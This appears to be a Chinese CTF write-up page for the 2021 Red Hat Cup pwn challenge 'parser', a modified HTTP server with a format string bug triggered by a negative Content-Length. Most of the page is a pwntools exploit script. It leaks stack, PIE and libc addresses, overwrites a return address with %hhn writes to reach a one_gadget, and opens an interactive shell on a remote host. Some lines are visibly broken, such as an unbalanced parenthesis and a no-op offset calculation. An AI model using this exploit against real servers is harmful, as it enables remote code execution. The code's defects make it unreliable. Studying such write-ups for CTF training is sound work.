

parser

发表于 2021-05-25 更新于 2021-05-26 分类于 [Challenge](#) , [2021](#) , [第四届红帽杯网络安全大赛](#) , [Pwn](#)
[Challenge](#) | [2021](#) | [第四届红帽杯网络安全大赛](#) | [Pwn](#) | [parser](#)

[点击此处](#)获得更好的阅读体验

WriteUp来源

来自Venom战队

题目描述

Vulnerable parser. Try to exploit!

题目考点

- 格式化字符串

解题思路

这题是一个魔改的httpd，Content-Length小于0时存在格式化串漏洞，leak后写one_gadget即可

```

1 from pwn import *
2 from urllib import quote
3 context.log_level = 'debug'
4 #p = process("./chall")
5 p = remote("47.105.94.48", 12435)
6 libc = ELF("./libc-2.27.so")
7 code = '''GET / HTTP/1.0
8 Content-Length:-1
9
10 %p-%15$p-%211$p
11 '''
12
13 p.send(code)
14 p.recvuntil("> ")
15 stack = int(p.recv(14), 16)
16 p.recvuntil("-")
17 pie = int(p.recv(14), 16)
18 p.recvuntil("-")
19 libc.address = int(p.recv(14), 16) - 0x7ffff7a05b97 + 0x7ffff79e4000
20 ret_addr = stack - 0x7fffffd8bf + 0x7fffffd8bf
21 one = libc.address + 0x10a45c
22 payload = "%"+str((one&0xff)+"c%22$hhn"+p64(ret_addr)
23 pad = 22-len(payload)
24 payload = "A"*pad + "%"+str(one-pad&0xff)+"c%22$hhn"+p64(ret_addr)
25 code = "GET / HTTP/1.0\nContent-Length:-1\n\n%s"%(payload)
26 #icq2aadaa2801d9610eb6ac281ed140f
27 p.send(code)
28 payload = "%"+str((one>>8)&0xff)+"c%22$hhn"+p64(ret_addr+1)
29 pad = 22-len(payload)
30 payload = "A"*pad + "%"+str((one>>8)-pad&0xff)+"c%22$hhn"+p64(ret_addr+1)
31 code = "GET / HTTP/1.0\nContent-Length:-1\n\n%s"%(payload)
32 pause()
33 p.send(code)
34 payload = "%"+str((one>>16)&0xff)+"c%22$hhn"+p64(ret_addr+2)
35 pad = 22-len(payload)
36 payload = "A"*pad + "%"+str((one>>16)-pad&0xff)+"c%22$hhn"+p64(ret_addr+2)
37 code = "GET / HTTP/1.0\nContent-Length:-1\n\n%s"%(payload)
38 pause()
39 p.send(code)
40 payload = "%"+str((one>>24)&0xff)+"c%22$hhn"+p64(ret_addr+3)
41 pad = 22-len(payload)
42 payload = "A"*pad + "%"+str((one>>24)-pad&0xff)+"c%22$hhn"+p64(ret_addr+3)
43 code = "GET / HTTP/1.0\nContent-Length:-1\n\n%s"%(payload)
44 pause()
45 p.send(code)
46 payload = "%"+str((one>>32)&0xff)+"c%22$hhn"+p64(ret_addr+4)
47 pad = 22-len(payload)
48 payload = "A"*pad + "%"+str((one>>32)-pad&0xff)+"c%22$hhn"+p64(ret_addr+4)
49 code = "GET / HTTP/1.0\nContent-Length:-1\n\n%s"%(payload)
50 pause()
51 p.send(code)
52 pause()
53 p.sendline("./getflag")
54 p.sendline("ICQ_TOKEN")
55 p.interactive()

```

- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Challenge/2021/第四届红帽杯网络安全大赛/Pwn/aV3kipaiBa5MZxfCHojmTX.html>
- 版权声明: 本博客所有文章除特别声明外, 均采用 [BY-NC-SA](#) 许可协议。转载请注明出处!

[# Challenge # 2021 # Pwn # 第四届红帽杯网络安全大赛](#)
[manager](#)
[file_store](#)